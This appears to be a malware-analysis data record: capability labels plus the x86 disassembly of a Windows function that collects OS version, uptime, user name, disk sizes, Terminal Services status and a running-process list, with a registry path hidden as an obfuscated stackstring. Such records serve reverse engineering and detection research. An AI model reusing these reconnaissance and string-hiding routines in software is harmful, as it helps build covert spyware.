Function at 0x41cd18
Capabilities:
Acquire debug privileges
Check for time delay via gettickcount
Check os version
Contain obfuscated stackstrings
Enumerate processes
Get common file path
Get cpu information
Get disk information
Get disk size
Get session user name
Query or enumerate registry value
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x658
push esi
push edi
mov dword [ebp - 0x658], ecx
push 0x390
push 0
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x1f0], 0x9c
lea ecx, [ebp - 0x1f0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x1ec], 4
ja 0x41cd70
mov dword [ebp - 0x2b0], 0x403aec
cmp dword [ebp - 0x1ec], 5
jne 0x41cd8c
cmp dword [ebp - 0x1e8], 0
jne 0x41cd8c
mov dword [ebp - 0x2b0], 0x403af0
cmp dword [ebp - 0x1ec], 5
jne 0x41cda8
cmp dword [ebp - 0x1e8], 1
jne 0x41cda8
mov dword [ebp - 0x2b0], 0x403af8
cmp dword [ebp - 0x1ec], 5
jne 0x41cdc4
cmp dword [ebp - 0x1e8], 2
jne 0x41cdc4
mov dword [ebp - 0x2b0], 0x403afc
cmp dword [ebp - 0x1ec], 6
jne 0x41cdfd
cmp dword [ebp - 0x1e8], 0
jne 0x41cdfd
mov edx, dword [ebp - 0x156]
and edx, 0xff
cmp edx, 1
jne 0x41cdf3
mov dword [ebp - 0x2b0], 0x403b04
jmp 0x41cdfd
mov dword [ebp - 0x2b0], 0x403b0c
cmp dword [ebp - 0x1ec], 6
jne 0x41ce35
cmp dword [ebp - 0x1e8], 1
jne 0x41ce35
mov eax, dword [ebp - 0x156]
and eax, 0xff
cmp eax, 1
jne 0x41ce2b
mov dword [ebp - 0x2b0], 0x403b14
jmp 0x41ce35
mov dword [ebp - 0x2b0], 0x403b18
cmp dword [ebp - 0x1ec], 6
jne 0x41ce6e
cmp dword [ebp - 0x1e8], 2
jne 0x41ce6e
mov ecx, dword [ebp - 0x156]
and ecx, 0xff
cmp ecx, 1
jne 0x41ce64
mov dword [ebp - 0x2b0], 0x403b20
jmp 0x41ce6e
mov dword [ebp - 0x2b0], 0x403b24
mov edx, dword [ebp - 0x15c]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x2b0]
push eax
push 0x403b2c
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0x10
mov ecx, 0xc
mov esi, 0x403b3c
lea edi, [ebp - 0x3b8]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x35
xor eax, eax
lea edi, [ebp - 0x388]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x288], 0
lea edx, [ebp - 0x288]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x3b8]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41cf27
mov dword [ebp - 0x3c0], 0x80
lea ecx, [ebp - 0x3c0]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x80
push edx
lea eax, [ebp - 0x3bc]
push eax
push 0
push 0x403b6c
mov ecx, dword [ebp - 0x288]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x288]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41cf3d
push 0x403b80
mov eax, dword [ebp + 8]
add eax, 0x80
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x2ac], eax
mov eax, dword [ebp - 0x2ac]
xor edx, edx
mov ecx, 0x5265c00
div ecx
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x2ac]
xor edx, edx
mov ecx, 0x5265c00
div ecx
mov dword [ebp - 0x2ac], edx
mov eax, dword [ebp - 0x2ac]
xor edx, edx
mov ecx, 0x36ee80
div ecx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x2ac]
xor edx, edx
mov ecx, 0x36ee80
div ecx
mov dword [ebp - 0x2ac], edx
mov eax, dword [ebp - 0x2ac]
xor edx, edx
mov ecx, 0xea60
div ecx
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x154]
push ecx
push 0x403b9c
mov edx, dword [ebp + 8]
add edx, 0x100
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0x14
call fcn.004178f9
push eax
mov eax, dword [ebp + 8]
add eax, 0x180
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
mov dword [ebp - 4], 0x80
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x200
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.00419470
push eax
call sub.MSVCRT.dll_atol
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x300], eax
call fcn.0041a18b
push eax
call sub.MSVCRT.dll_atol
add esp, 4
mov edx, dword [ebp + 8]
mov dword [edx + 0x304], eax
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x1f4], 0
jmp 0x41d061
mov eax, dword [ebp - 0x1f4]
add eax, 1
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x1a
jge 0x41d14c
mov ecx, dword [ebp - 0x1f4]
add ecx, 0x42
mov byte [ebp - 0x20], cl
mov byte [ebp - 0x1f], 0x3a
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
je 0x41d09b
jmp 0x41d052
lea eax, [ebp - 0x284]
push eax
lea ecx, [ebp - 0x1fc]
push ecx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov esi, dword [ebp - 0x2b4]
xor edi, edi
push 0
push 0x400
mov ecx, dword [ebp - 0x1f8]
push ecx
mov edx, dword [ebp - 0x1fc]
push edx
call fcn.00426f90
push 0
push 0x400
push edx
push eax
call fcn.00426f90
push 0
push 0x400
push edx
push eax
call fcn.00426f90
add esi, eax
adc edi, edx
mov dword [ebp - 0x2b4], esi
mov esi, dword [ebp - 0x150]
xor edi, edi
push 0
push 0x400
mov eax, dword [ebp - 0x280]
push eax
mov ecx, dword [ebp - 0x284]
push ecx
call fcn.00426f90
push 0
push 0x400
push edx
push eax
call fcn.00426f90
push 0
push 0x400
push edx
push eax
call fcn.00426f90
add esi, eax
adc edi, edx
mov dword [ebp - 0x150], esi
jmp 0x41d052
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x2b4]
mov dword [edx + 0x308], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x150]
mov dword [ecx + 0x30c], edx
push 0x80
mov eax, dword [ebp + 8]
add eax, 0x280
push eax
push 0x403bb0
call fcn.004193dc
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x41d1ba
push 0x403bb8
mov ecx, dword [ebp + 8]
add ecx, 0x310
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x41d5f2
push 0xf01ff
push 0x403bd0
mov edx, dword [ebp - 0x44]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x41d1f3
push 0x403bdc
mov eax, dword [ebp + 8]
add eax, 0x310
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x41d5f2
lea ecx, [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x40]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x41d236
mov eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x403bf0
mov edx, dword [ebp + 8]
add edx, 0x310
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x41d5f2
mov eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0x38], 4
jne 0x41d5da
push 0
push 0
push 0
lea edx, [ebp - 0x3e0]
push edx
push 4
push 0x403c0c
push 0x403c20
push reloc.WS2_32.dll_bind
call fcn.00410d08
add esp, 0x20
lea eax, [ebp - 0x3e0]
push eax
call sub.MSVCRT.dll_atoi
add esp, 4
test eax, eax
jne 0x41d5c1
push 0x403c54
lea ecx, [ebp - 0x2a8]
push ecx
call fcn.0041d760
add esp, 8
test eax, eax
jne 0x41d5a7
mov byte [ebp - 0x41c], 0x53
mov byte [ebp - 0x41b], 0x59
mov byte [ebp - 0x41a], 0x53
mov byte [ebp - 0x419], 0x54
mov byte [ebp - 0x418], 0x45
mov byte [ebp - 0x417], 0x4d
mov byte [ebp - 0x416], 0x5c
mov byte [ebp - 0x415], 0x43
mov byte [ebp - 0x414], 0x75
mov byte [ebp - 0x413], 0x72
mov byte [ebp - 0x412], 0x72
mov byte [ebp - 0x411], 0x65
mov byte [ebp - 0x410], 0x6e
mov byte [ebp - 0x40f], 0x74
mov byte [ebp - 0x40e], 0x43
mov byte [ebp - 0x40d], 0x6f
mov byte [ebp - 0x40c], 0x6e
mov byte [ebp - 0x40b], 0x74
mov byte [ebp - 0x40a], 0x72
mov byte [ebp - 0x409], 0x6f
mov byte [ebp - 0x408], 0x6c
mov byte [ebp - 0x407], 0x53
mov byte [ebp - 0x406], 0x65
mov byte [ebp - 0x405], 0x74
mov byte [ebp - 0x404], 0x5c
mov byte [ebp - 0x403], 0x53
mov byte [ebp - 0x402], 0x65
mov byte [ebp - 0x401], 0x72
mov byte [ebp - 0x400], 0x76
mov byte [ebp - 0x3ff], 0x69
mov byte [ebp - 0x3fe], 0x63
mov byte [ebp - 0x3fd], 0x65
mov byte [ebp - 0x3fc], 0x73
mov byte [ebp - 0x3fb], 0x5c
mov byte [ebp - 0x3fa], 0x54
mov byte [ebp - 0x3f9], 0x65
mov byte [ebp - 0x3f8], 0x72
mov byte [ebp - 0x3f7], 0x6d
mov byte [ebp - 0x3f6], 0x53
mov byte [ebp - 0x3f5], 0x65
mov byte [ebp - 0x3f4], 0x72
mov byte [ebp - 0x3f3], 0x76
mov byte [ebp - 0x3f2], 0x69
mov byte [ebp - 0x3f1], 0x63
mov byte [ebp - 0x3f0], 0x65
mov byte [ebp - 0x3ef], 0x5c
mov byte [ebp - 0x3ee], 0x50
mov byte [ebp - 0x3ed], 0x61
mov byte [ebp - 0x3ec], 0x72
mov byte [ebp - 0x3eb], 0x61
mov byte [ebp - 0x3ea], 0x6d
mov byte [ebp - 0x3e9], 0x65
mov byte [ebp - 0x3e8], 0x74
mov byte [ebp - 0x3e7], 0x65
mov byte [ebp - 0x3e6], 0x72
mov byte [ebp - 0x3e5], 0x73
mov byte [ebp - 0x3e4], 0
push 0
push 0
push 0
lea edx, [ebp - 0x14c]
push edx
push 2
push 0x403c5c
lea eax, [ebp - 0x41c]
push eax
push reloc.WS2_32.dll_bind
call fcn.00410d08
add esp, 0x20
push 0x403c68
lea ecx, [ebp - 0x14c]
push ecx
call fcn.0041d740
add esp, 8
test eax, eax
je 0x41d58d
mov dword [ebp - 0x548], 0x128
mov dword [ebp - 0x420], 0
push 0x104
lea edx, [ebp - 0x64c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x403c74
lea eax, [ebp - 0x64c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push 0x403c84
call fcn.0041e39a
add esp, 8
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x650], eax
lea ecx, [ebp - 0x548]
push ecx
mov edx, dword [ebp - 0x650]
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41d535
lea eax, [ebp - 0x64c]
push eax
mov ecx, dword [ebp - 0x540]
push ecx
call fcn.0041b4f0
add esp, 8
mov dword [ebp - 0x654], eax
cmp dword [ebp - 0x654], 0
je 0x41d51e
mov dword [ebp - 0x420], 1
jmp 0x41d535
lea edx, [ebp - 0x548]
push edx
mov eax, dword [ebp - 0x650]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x41d4ed
mov ecx, dword [ebp - 0x650]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x403c98
call fcn.0041e39a
add esp, 8
cmp dword [ebp - 0x420], 0
je 0x41d574
push 0x403cac
mov edx, dword [ebp + 8]
add edx, 0x310
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x41d5f2
push 0x403cbc
mov eax, dword [ebp + 8]
add eax, 0x310
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x41d5f2
push 0x403ccc
mov ecx, dword [ebp + 8]
add ecx, 0x310
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x41d5f2
push 0x403cdc
mov edx, dword [ebp + 8]
add edx, 0x310
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x41d5f2
push 0x403cf0
mov eax, dword [ebp + 8]
add eax, 0x310
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x41d5f2
push 0x403d00
mov ecx, dword [ebp + 8]
add ecx, 0x310
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4